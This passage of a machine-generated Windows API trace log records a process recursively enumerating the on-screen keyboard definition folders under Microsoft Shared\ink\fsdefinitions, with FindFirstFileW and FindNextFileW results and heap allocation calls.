ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0070.847] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0070.848] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0070.848] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0070.848] GetProcessHeap () returned 0x550000 [0070.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0070.848] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0070.849] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0070.849] GetProcessHeap () returned 0x550000 [0070.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0070.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.034] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.034] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0071.034] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0071.034] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0071.035] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0071.035] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0071.035] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0071.036] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0071.036] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0071.036] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0071.037] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0071.037] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0071.037] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0071.038] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0071.038] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0071.038] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.040] GetProcessHeap () returned 0x550000 [0071.040] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.041] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0071.041] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0071.041] GetProcessHeap () returned 0x550000 [0071.041] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.041] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.042] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0071.042] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0071.042] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.042] GetProcessHeap () returned 0x550000 [0071.042] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.042] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0071.043] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0071.043] GetProcessHeap () returned 0x550000 [0071.043] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.044] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.044] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0071.044] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0071.045] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.045] GetProcessHeap () returned 0x550000 [0071.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.045] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0071.045] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0071.045] GetProcessHeap () returned 0x550000 [0071.045] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.046] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.046] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0071.047] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0071.047] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.047] GetProcessHeap () returned 0x550000 [0071.047] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0071.047] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0071.048] GetProcessHeap () returned 0x550000 [0071.048] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.048] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.048] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, 